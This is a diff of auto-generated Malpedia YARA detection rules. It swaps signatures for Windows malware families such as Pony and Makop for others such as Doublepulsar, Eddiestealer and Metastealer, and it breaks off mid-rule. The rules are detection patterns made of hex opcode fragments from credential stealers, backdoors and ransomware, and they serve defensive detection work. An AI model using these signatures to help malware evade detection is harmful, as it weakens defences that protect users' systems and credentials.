$sequence_6 = { e8???????? 33c9 3d00040000 7510 e8???????? b801000000 4883c430 } + $sequence_7 = { 4883c328 0fb74806 443bf9 0f8c50ffffff 488b4500 8b4828 } + $sequence_8 = { 0f84ca020000 488d05d13b0300 4a8b04e0 41f644070880 0f84b3020000 e8???????? 33db } + $sequence_9 = { 488d542434 8bc8 ff15???????? 33c0 488d542438 } condition: - 7 of them and filesize < 216064 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Pony_Auto : FILE +rule MALPEDIA_Win_Voldemort_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1e9f1216-c41a-57fb-9136-54f943e63660" + id = "7d125483-3b6e-5a9c-99c0-128adae803f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pony_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.voldemort" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.voldemort_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "9de93368584eaaab5c5e69d58fb6c6411ee417490cc0e48dc0aded17e02bd8ef" + logic_hash = "6016b2bc3970bf978eb2d9654ea41d202d59cf54c1ab79dd97509026eb74172c" score = 75 quality = 75 tags = "FILE" @@ -137946,32 +137604,32 @@ rule MALPEDIA_Win_Pony_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c6400200 c6400300 c6400400 c6400505 8d45f4 50 } - $sequence_1 = { 33f9 8d9c1f051d8804 035e18 c1c317 } - $sequence_2 = { 7406 50 e8???????? c785dcf7ffff15000000 8d85d0f7ffff } - $sequence_3 = { ff750c ff35???????? e8???????? 8945f4 6a00 ff7514 ff750c } - $sequence_4 = { c1e002 31c2 89c8 c1e810 31d0 89c3 } - $sequence_5 = { 75ed 0fb646ff 83f808 7702 2bf0 2b7510 d1ee } - $sequence_6 = { 2bfb 83fb38 720e 03fb b840000000 2bc3 03f8 } - $sequence_7 = { 6800fa0000 ff75f4 ff7508 e8???????? 85c0 0f8430010000 ff75f4 } - $sequence_8 = { 68???????? e8???????? 898554ffffff 83bd54ffffff00 7445 83bd58ffffff14 723c } - $sequence_9 = { ff7518 e8???????? ff750c e8???????? d1e0 83c002 } + $sequence_0 = { 4803c1 48894308 e9???????? 48895c2408 } + $sequence_1 = { 48894308 e9???????? 48895c2408 57 } + $sequence_2 = { 418ac0 c3 488bc4 48895808 48896810 48897018 48897820 } + $sequence_3 = { 0f45c7 4803c1 48894308 e9???????? 48895c2408 57 4883ec20 } + $sequence_4 = { 488b5c2408 418ac0 c3 488bc4 } + $sequence_5 = { 7597 41b001 488b5c2408 418ac0 c3 488bc4 } + $sequence_6 = { 488b5c2408 418ac0 c3 488bc4 48895808 48896810 48897018 } + $sequence_7 = { 8d78fe 0f45c7 4803c1 48894308 e9???????? 48895c2408 } + $sequence_8 = { 488b5c2408 418ac0 c3 488bc4 48895808 48896810 } + $sequence_9 = { 5f c3 4c8bdc 49895b18 57 4883ec40 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 577536 } -rule MALPEDIA_Win_Snake_Disk_Auto : FILE +rule MALPEDIA_Win_Kwampirs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "86a91047-7721-509e-9428-5943ccd33d29" + id = "a88d76d0-b266-5ba2-9e4c-b6324e74f1af" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snake_disk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snake_disk_auto.yar#L1-L93" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kwampirs_auto.yar#L1-L112" license_url = "N/A" - logic_hash = "e3a90a61952999ecca57fcbf79005364fd6ba06d48c543b4f3fe48fb8c119e3f" + logic_hash = "47dcb9c842442be04bc0bae4d6dd96d075eca81ceae0f2c5424da9336b167768" score = 75 quality = 75 tags = "FILE" @@ -137985,30 +137643,32 @@ rule MALPEDIA_Win_Snake_Disk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 898558ffffff 85c0 0f84a30b0000 } - $sequence_1 = { e8???????? 898548ffffff 8b08 8b8184010000 8d4db4 898544ffffff 397dac } - $sequence_2 = { e8???????? 898550ffffff 897dbc 3bf8 } - $sequence_3 = { e8???????? 89855cffffff ff7720 e8???????? } - $sequence_4 = { e8???????? 898560ffffff 85c0 0f8410070000 } - $sequence_5 = { e8???????? 898550ffffff 59 59 } - $sequence_6 = { e8???????? 89855cffffff 85c0 7874 } - $sequence_7 = { e8???????? 898550ffffff 85c0 0f84a4000000 } + $sequence_0 = { 391f 0f95c0 8b4df0 64890d00000000 59 5f 5e } + $sequence_1 = { 83c418 85c0 7512 8b07 50 e8???????? 83c404 } + $sequence_2 = { 391f 0f95c0 8b4df0 64890d00000000 } + $sequence_3 = { 52 50 8d8dbcf3ffff 51 } + $sequence_4 = { 33d2 668955f6 e8???????? 83c40c } + $sequence_5 = { ffd6 8b45c0 50 ffd6 } + $sequence_6 = { 50 ffd6 8b4dc4 51 ffd6 } + $sequence_7 = { 668955f6 e8???????? 83c40c 33d2 } + $sequence_8 = { c745fcfeffffff e8???????? b001 8b4df0 } + $sequence_9 = { 33d2 6816060000 52 8d85bef3ffff 50 } condition: - 7 of them and filesize < 28734464 + 7 of them and filesize < 2695168 } -rule MALPEDIA_Win_Laturo_Auto : FILE +rule MALPEDIA_Win_Chinoxy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f1cda2c1-6a5a-560d-b916-62a96cbfcef4" + id = "78736f40-563d-5718-b05e-03a3a946c1f4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laturo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laturo_auto.yar#L1-L175" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinoxy_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "fadff8d37ea5314574a4da4608d7ce7e1536afc4770400da40abe05fbc19031e" + logic_hash = "c0bd3bd9ac342844eead2562e34424d0e649b578cd28d421251d6ac44bae37dc" score = 75 quality = 75 tags = "FILE" @@ -138022,38 +137682,32 @@ rule MALPEDIA_Win_Laturo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 418bf0 4c8d0d83b80000 8bda 4c8d0572b80000 488bf9 488d1570b80000 } - $sequence_1 = { 88442438 807c243801 7413 807c243802 743a } - $sequence_2 = { 57 4883ec78 c744242000000000 e8???????? 48833d????????00 0f84fb010000 488b8c2490000000 } - $sequence_3 = { 4889442410 837c244c40 750d 0fb60424 88442403 } - $sequence_4 = { 3b442450 740a 8b442420 89442424 } - $sequence_5 = { 4883ec38 488b442440 48833800 747b c744242000000000 eb0a } - $sequence_6 = { 25f0000000 3d80000000 0f8521010000 0fb6442450 488b4c2430 4803c8 488bc1 } - $sequence_7 = { 4488742470 eb22 488d3d720a0100 eb19 488d3d610a0100 eb10 } - $sequence_8 = { eb3f f6c201 740d 8b0e 8d41fb 3985e0fdffff 7430 } - $sequence_9 = { 2502ffffff eb0d 8b45f4 807dfa05 0fb6c0 } - $sequence_10 = { 8a4dff d3e0 84c0 7907 } - $sequence_11 = { c745d500000000 66c745c40f80 c745c600000000 c645ff00 897de4 } - $sequence_12 = { c645f404 eb2b c645f401 eb25 f6c110 7410 } - $sequence_13 = { 51 0f95c0 6a40 8d044505000000 50 53 } - $sequence_14 = { 43 884210 2a5dd8 881a 80fb0f 7615 814a1800500000 } - $sequence_15 = { 68???????? 897df8 ff15???????? 85c0 742a 8b3d???????? 83fe20 } + $sequence_0 = { 7405 394004 7538 6a3c e8???????? 83c404 89442408 } + $sequence_1 = { 897e5c 897e60 897e64 897e68 897e6c 897e70 897c2414 } + $sequence_2 = { 52 e8???????? 83c408 85c0 0f84a7000000 8b4f08 6a00 } + $sequence_3 = { 8b5918 33eb 33db 33c5 89442414 8be8 8a5c2416 } + $sequence_4 = { 743a 8b431c 8db140800200 85c0 7506 8db15c800200 8bce } + $sequence_5 = { 3bc6 8b5008 895610 75a7 e9???????? 8b85a0020000 } + $sequence_6 = { 8bde c1ef10 c1e310 0bfb 2bc6 33f8 03f1 } + $sequence_7 = { b9???????? e8???????? 85ff 740a 83c704 57 ff15???????? } + $sequence_8 = { 8bf9 c1ee18 c1e708 0bf7 2bd9 33f3 } + $sequence_9 = { 83f8ff 7409 83c004 3bc6 7602 8bf8 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 1138688 } -rule MALPEDIA_Win_Makop_Auto : FILE +rule MALPEDIA_Win_Doublepulsar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e214999d-16a1-514d-bedc-c66a8b25498d" + id = "e360b7f1-7141-5d69-b347-a9d866ef6b2b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makop_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublepulsar_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "fab88e1b8315d53c8f1d019ae0fd200eb0984fdd471585289f6762a4445cd571" + logic_hash = "459595fa25b87fbf8bb9d6bb59b89562d36c28a4b010623ea717539c5888323b" score = 75 quality = 75 tags = "FILE" @@ -138067,32 +137721,32 @@ rule MALPEDIA_Win_Makop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5e 5b 83c41c c3 ffd7 50 e8???????? } - $sequence_1 = { 8bc6 e8???????? 894630 8b4500 8903 8b0f } - $sequence_2 = { 894118 8b0e c6412800 e8???????? } - $sequence_3 = { ff15???????? 8bf0 83feff 744f 8bc7 8a08 83c001 } - $sequence_4 = { 8d04b8 7414 8b00 50 6a00 ffd5 50 } - $sequence_5 = { 833e00 8b35???????? c744240c00000000 7645 8b5c2410 8da42400000000 8b0b } - $sequence_6 = { 53 a3???????? ff15???????? 50 ff15???????? 8d742418 e8???????? } - $sequence_7 = { 56 e8???????? 8d4e28 51 6a0a 8bc6 e8???????? } - $sequence_8 = { c3 ffd7 50 e8???????? 83c404 5f 5e } - $sequence_9 = { 6a00 8d4c2414 51 52 57 55 c744242800000000 } + $sequence_0 = { 668b00 c3 81e2ffff0000 c1e202 01d1 8b09 01c8 } + $sequence_1 = { 6852445000 ff75fc 6a01 ff13 } + $sequence_2 = { 894530 8b4620 8b7d65 83c703 8907 8b4628 a902000000 } + $sequence_3 = { ff500c 85c0 748c 33c0 5f 5e 5b } + $sequence_4 = { 8b8c003cb54000 03c0 894e5c 8b9040b54000 895660 8b8844b54000 894e64 } + $sequence_5 = { 85c0 7463 8b442444 6a0e 53 50 } + $sequence_6 = { 88c8 c1e908 00c8 c1e908 00c8 c1e908 00c8 } + $sequence_7 = { 03d8 2be8 85ed 75ac } + $sequence_8 = { e8???????? a1???????? 33c4 898424a0100000 55 56 8bb424b0100000 } + $sequence_9 = { 0f85f4000000 41 83f813 0f8287010000 8b4a0b 41 8bc0 } condition: - 7 of them and filesize < 107520 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Ismagent_Auto : FILE +rule MALPEDIA_Win_Rekoobew_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "67740cfb-8507-5206-9327-8d9ca8f2fd2f" + id = "c4672783-76e3-563a-8027-eca1db960fbe" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ismagent_auto.yar#L1-L100" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rekoobew_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "59fcd27aca5a3625483340bfe48980fca66506765ca3b82f7d01afb486f805fc" + logic_hash = "58559e9eb7cf00c4472271b9f2f8096ac74daa9182ac5f503ca473672c8d4ebd" score = 75 quality = 75 tags = "FILE" @@ -138106,30 +137760,32 @@ rule MALPEDIA_Win_Ismagent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68000000a0 ff7510 51 57 ffd0 68???????? } - $sequence_1 = { 50 56 57 8d942418170000 } - $sequence_2 = { 68e8030000 50 8d8424580b0000 50 e8???????? 83c40c 8d842418030000 } - $sequence_3 = { f3a4 8dbc24183e0000 4f 90 } - $sequence_4 = { 33c9 660f1f840000000000 8a81a00a4200 8d4901 88840c370f0000 84c0 } - $sequence_5 = { 66a5 8b7c2418 837c241400 742d 8bc8 8d5101 } - $sequence_6 = { c744243400000000 e8???????? 8b4c2428 8d442444 } - $sequence_7 = { 51 8b4c2434 8d942418070000 50 6a01 } + $sequence_0 = { 8b75bc 3375c4 3375d8 3375ec } + $sequence_1 = { 0fb6fe 89ca 3314bde08c4000 0fb6f2 8b3cb5e0904000 } + $sequence_2 = { 894714 83c201 83fa08 7588 } + $sequence_3 = { 33348de0704000 8b4de8 c1e910 0fb6c9 33348de0744000 8975e0 } + $sequence_4 = { 3c0d 745e 80f93d 0f85a0feffff 89f0 eb53 b8ffffffff } + $sequence_5 = { 894de0 0fb67004 c1e618 0fb65005 c1e210 09f2 0fb67007 } + $sequence_6 = { 0f84c5000000 8b5078 85d2 0f84ba000000 8b35???????? 85f6 } + $sequence_7 = { 33735c 89d7 c1ef18 3334bde0844000 89cf c1ef10 81e7ff000000 } + $sequence_8 = { 09d7 0fb64827 09cf 0fb65026 c1e208 09d7 897dc8 } + $sequence_9 = { e8???????? 85c0 7916 c704240f000000 e8???????? b828000000 e9???????? } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 248832 } -rule MALPEDIA_Win_Ratankbapos_Auto : FILE +rule MALPEDIA_Win_Eddiestealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c30c3afc-d593-5fd1-9897-681a89fdb715" + id = "e232a61b-2f1e-5ab2-a023-babaefc44f11" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankbapos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratankbapos_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eddiestealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eddiestealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "9d94248f5eeb0fe7fd704ad2035548b948a3d89033ce9c65e0f71221072d6968" + logic_hash = "755d9f27c3527a6497613857d1940285eade46fbad0b63ce47e48a5daf512e5a" score = 75 quality = 75 tags = "FILE" @@ -138143,32 +137799,32 @@ rule MALPEDIA_Win_Ratankbapos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c5 8945f8 56 8b7508 85f6 0f8413010000 } - $sequence_1 = { ff15???????? 8bf0 8d4dcc 897304 } - $sequence_2 = { 0fbec2 0fbe8040010110 83e00f eb02 33c0 0fbe84c160010110 } - $sequence_3 = { c1f905 8b0c8de04d0110 83e01f c1e006 f644080401 } - $sequence_4 = { eb05 1bc0 83d8ff 85c0 7508 8d8646b10000 } - $sequence_5 = { 83e203 83f908 7229 f3a5 ff249590490010 } - $sequence_6 = { 40 3acb 75f9 2bc6 3bd0 72dc } - $sequence_7 = { 8b5518 50 8b4514 51 8b4d08 52 50 } - $sequence_8 = { e8???????? 8b4da4 8945c8 c6040800 } - $sequence_9 = { 0fbe8040010110 83e00f eb02 33c0 0fbe84c160010110 6a07 c1f804 } + $sequence_0 = { 4c3ba42498000000 0f84da010000 498d7c2410 49897f40 488b842488000000 4c8b28 488b842490000000 } + $sequence_1 = { b808000000 488d0d6faf0500 48894d00 48895d08 48894510 0f117518 488dbc24500c0000 } + $sequence_2 = { 4d39d3 4c89d1 490f47cb 4584ff 490f45cb 4c0f45d7 4c8b5c2440 } + $sequence_3 = { 8b542430 e8???????? 0fb66802 440fb738 4181f7aafa0000 4080f544 b903000000 } + $sequence_4 = { e8???????? 660fefc0 488365f000 660f7f45d0 660f7f45e0 31c9 488d1578820600 } + $sequence_5 = { 7720 4c8b0411 4c330408 4c89440c30 4883c108 ebe7 488bb42400010000 } + $sequence_6 = { e8???????? 668932 4889842488000000 4889942490000000 48c784249800000002000000 c68424a000000005 0f108424b0020000 } + $sequence_7 = { e8???????? e8???????? 488b4808 48898c2448010000 488b4010 4889842438010000 488d055e330300 } + $sequence_8 = { c1e80c 31d0 89c2 c1ea10 31c2 69c2fad30000 0fb7c0 } + $sequence_9 = { 31d2 488d0d72810400 49b8001927cf2367fead 41f6c101 741c 440fb60c0a 4d09c1 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 1316864 } -rule MALPEDIA_Win_Mail_O_Auto : FILE +rule MALPEDIA_Win_Kagent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5d523861-cfbe-53c5-a1e3-510491b0431d" + id = "eeb554cd-bcde-5191-9d05-cd5d3b643304" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mail_o_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kagent_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "0523be98b7e34057335b62be8aafee77bb16a4b5cb13de84130c24ec4689c31e" + logic_hash = "f0789c212010e4f78374ae02f32c05cce682ad24c1e1d92ee73ca388e2879a4e" score = 75 quality = 75 tags = "FILE" @@ -138182,32 +137838,32 @@ rule MALPEDIA_Win_Mail_O_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb09 b801000000 66894348 ba03000000 897320 488d8b70010000 e8???????? } - $sequence_1 = { c781e806000002000000 b801000000 4883c438 c3 c744242892070000 ba2f000000 41b96e000000 } - $sequence_2 = { eba9 488b5008 4c8d442440 488d0debe00e00 488b5208 e8???????? eb8e } - $sequence_3 = { b800010000 e8???????? 482be0 488b05???????? 4833c4 48898424d0000000 4c8ba42450010000 } - $sequence_4 = { e8???????? 8bf0 83f8ff 0f85befeffff 33c0 488b5c2470 488b6c2478 } - $sequence_5 = { 74bb 488d8b00080000 e8???????? 85c0 7457 488b9388000000 488bcb } - $sequence_6 = { eb04 488b45d8 8b0a 4d8bfe 8bc0 498bd5 4c8b6da8 } - $sequence_7 = { 85c0 0f8ec7000000 0f1f4000 488b8bf8000000 8bd5 e8???????? 488bf0 } - $sequence_8 = { c744242073000000 4c8d0d028e1100 8d4f06 448d420b e8???????? 33c0 488b5c2440 } - $sequence_9 = { eb1a 488bcb e8???????? 85c0 7560 4889b3500d0000 4889b350160000 } + $sequence_0 = { 83ec0c 56 57 8bf8 8b7744 8b4f18 c745f800000000 } + $sequence_1 = { 85c0 7e2b 3bf0 7d51 85f6 784d 8b450c } + $sequence_2 = { ff15???????? 57 ffd6 68???????? e8???????? 83c404 53 } + $sequence_3 = { 50 8d45f4 64a300000000 8a450c 8b5d10 8955ac 8b5518 } + $sequence_4 = { 56 8d75ec e8???????? 8b4804 8b4704 bb01000000 e8???????? } + $sequence_5 = { ffd6 668b542410 663b542420 74ed ff15???????? 33d2 b9e8030000 } + $sequence_6 = { 8b4004 33f6 83c40c 897220 897224 8b5580 52 } + $sequence_7 = { 56 8bf0 57 3b7508 745a 8d542410 33c9 } + $sequence_8 = { e8???????? c7459c09000000 895de8 8d8d6cffffff 51 57 c645fc05 } + $sequence_9 = { 50 68???????? 68???????? e8???????? 83c40c eb24 } condition: - 7 of them and filesize < 5985280 + 7 of them and filesize < 4972544 } -rule MALPEDIA_Win_Postnaptea_Auto : FILE +rule MALPEDIA_Win_Turla_Rpc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "51c689b3-106f-5456-8a81-c39f4d1222d0" + id = "555582c7-de4a-5625-91e9-ac0b0e0d564c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.postnaptea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.postnaptea_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turla_rpc_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "cbc31a40430b61bd28460ce500d3e6052f8e6a6f9e1d2c25674ed00c58ea2b2d" + logic_hash = "4906b07261ee80939dba34c531f28e5f2b514d7751640e2e81057387fedbb8f3" score = 75 quality = 75 tags = "FILE" @@ -138221,32 +137877,38 @@ rule MALPEDIA_Win_Postnaptea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? ffd0 448bc0 488d542430 488bb590000000 488bce e8???????? } - $sequence_1 = { c745c8d4f6ccf6 41bf60090000 c745cc95f695f6 c745d086f6cdf6 c745d4c6f6c7f6 660f1f840000000000 4863c2 } - $sequence_2 = { c785060800000af50cf5 c7850a08000012f50ef5 c7850e08000009f505f5 c7851208000003f511f5 c7851608000009f54df5 c7851a0800001af507f5 c7851e08000015f551f5 } - $sequence_3 = { c7459418f513f5 c7459819f51bf5 c7459c5ff5baf5 c745a0a1f50000 4533c0 418bd0 660f1f840000000000 } - $sequence_4 = { e8???????? 0fb64b08 0fb7430a 663b4509 7416 84c9 750c } - $sequence_5 = { c744247c01f516f5 c7458018f515f5 c7458453f517f5 c745881af518f5 c7458c03f51df5 c7459017f50ef5 c7459408f55cf5 } - $sequence_6 = { c7451830f51bf5 c7451c0bf5e8f5 c74520eef5e6f5 c74524a3f5e1f5 c74528fdf5e3f5 c7452ce4f5fdf5 c74530fdf5e3f5 } - $sequence_7 = { ff15???????? 85c0 7498 83f857 7493 4533c0 418bc8 } - $sequence_8 = { ffc3 41b401 488b0f 4885c9 7441 488b4138 4c3928 } - $sequence_9 = { ff15???????? 4c8bf0 4885ff 0f84a90a0000 4885c0 0f84a00a0000 c74424400af532f5 } + $sequence_0 = { c785080100003025213c 66c7850c0100003a3b c6850e01000055 c745c007303431 } + $sequence_1 = { 488bd8 ffd3 488d4d70 488bf8 ffd3 } + $sequence_2 = { 660f6f05???????? 66c785ec0000000255 c785a0000000193a3431 c785a4000000193c3727 c785a800000034272c02 f30f7f8568010000 c685ac00000055 } + $sequence_3 = { c785c400000027273a27 c785c8000000183a3130 c685cc00000055 c785c001000030362155 c745d002273c21 c745d430133c39 66c745d83055 } + $sequence_4 = { 66c74424543155 c744243033273030 c644243455 c744244033263030 } + $sequence_5 = { c745b06970746f c745b472536163 66c745b86c00 ff15???????? } + $sequence_6 = { c7456016273034 c745642130133c c7456839300255 c7851001000016273034 c7851401000021300527 c785180100003a363026 } + $sequence_7 = { f30f7f8d98010000 c785b800000027273a27 c685bc00000055 c685d801000055 } + $sequence_8 = { c685d801000055 f30f7f85b0010000 660f6f05???????? c7858000000012302101 c7858400000030382505 } + $sequence_9 = { 68???????? 6a00 6a00 ff15???????? 6a00 6aff 68d2040000 } + $sequence_10 = { c745f474006c00 c785c8feffff14010000 ff15???????? 85c0 750e 50 50 } + $sequence_11 = { 8d45bc 50 ff15???????? 85c0 0f8581000000 } + $sequence_12 = { 7514 8d45ac 50 ff15???????? 8bf8 85ff 0f8434010000 } + $sequence_13 = { 5d c3 6a00 6800000080 6a02 } + $sequence_14 = { e8???????? cc 56 33f6 ffb614730110 ff15???????? } + $sequence_15 = { 833d????????00 0f85d3240000 ba05000000 8d0d10700110 e9???????? } condition: - 7 of them and filesize < 2457600 + 7 of them and filesize < 311296 } -rule MALPEDIA_Win_Boldmove_Auto : FILE +rule MALPEDIA_Win_Shapeshift_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3bdf90c7-36e1-5e06-8df9-776b6e88680a" + id = "c0c5bb16-0064-5063-a167-3feadfc849ba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boldmove_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shapeshift_auto.yar#L1-L104" license_url = "N/A" - logic_hash = "3d258453779af88e427ea6662db58aa1b287b8846df27e0a7720298a0095c401" + logic_hash = "d57d4efbadfe762b0a6b1ab41967b0e572158e599e0e6d6d29d5b7411ccf5a23" score = 75 quality = 75 tags = "FILE" @@ -138260,32 +137922,30 @@ rule MALPEDIA_Win_Boldmove_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4308 890424 ff15???????? 50 50 8b4308 890424 } - $sequence_1 = { 83e104 89442454 894c2418 0f852f0e0000 } - $sequence_2 = { 56 53 83ec20 e8???????? a1???????? dd5df0 83780c00 } - $sequence_3 = { d9ee 8b5c245c 8944245c 83c701 dbe9 897c2434 } - $sequence_4 = { 8b449908 85c0 7415 890424 e8???????? a1???????? c744980800000000 } - $sequence_5 = { c7042404000000 e8???????? c7434000000000 89433c e8???????? dd5b08 0fb617 } - $sequence_6 = { 8d85c8fbffff c744240c07000000 89442408 c744240400040000 893424 e8???????? 8b85c8fbffff } - $sequence_7 = { 66250045 663d0005 0f84f3040000 6681e2ff7f } - $sequence_8 = { 39f0 b800000000 0f47d0 8d440b04 01d9 89442404 89542408 } - $sequence_9 = { d905???????? d9c1 d8c1 d9cb dbf3 dddb 0f87a7030000 } + $sequence_0 = { 57 8985f4feffff 33db 6a05 ff15???????? 68???????? } + $sequence_1 = { 8d0d009c4100 ba1d000000 e8???????? 5a c3 8d542408 } + $sequence_2 = { 51 ff15???????? 8bf0 89b5ecfdffff } + $sequence_3 = { 6af6 ff15???????? 8b04bd38054200 834c0318ff 33c0 } + $sequence_4 = { 8bf0 e8???????? 83c404 8bf8 33c9 66660f1f840000000000 0fbf044d3cfa4100 } + $sequence_5 = { f30f5e85ccfdffff f30f5905???????? e8???????? 83bde8fdffff00 741f 3bc7 } + $sequence_6 = { e8???????? 85f6 8bf0 6a0c 7550 e8???????? } + $sequence_7 = { 8995e8fdffff 57 898df8fdffff 899df0fdffff c785ecfdffff00000000 0f86ef010000 } condition: - 7 of them and filesize < 242688 + 7 of them and filesize < 303104 } -rule MALPEDIA_Win_Vskimmer_Auto : FILE +rule MALPEDIA_Win_Metastealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d60a06ab-73b2-5007-b9fd-d7fdf53f6d46" + id = "d224b589-7615-5bc0-8bb6-5706cda78332" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vskimmer_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.metastealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "fbde08601554269a17787c3ffa7dabc4bf8a82c0fe588e8a82f4a23b193dab38" + logic_hash = "6cb10cffce7c1599b69c9e05c260560e4bdcb2bc8aa657b55f875ee3bb8ed71d" score = 75 quality = 75 tags = "FILE" @@ -138299,32 +137959,32 @@ rule MALPEDIA_Win_Vskimmer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb74624 6685c0 7413 50 ff75fc 8d8f2c020000 } - $sequence_1 = { 8d8dd4f7ffff e8???????? 83bdccf7ffff10 8b85b8f7ffff c645fc11 7306 } - $sequence_2 = { 7629 8d7e04 ff75e8 ff37 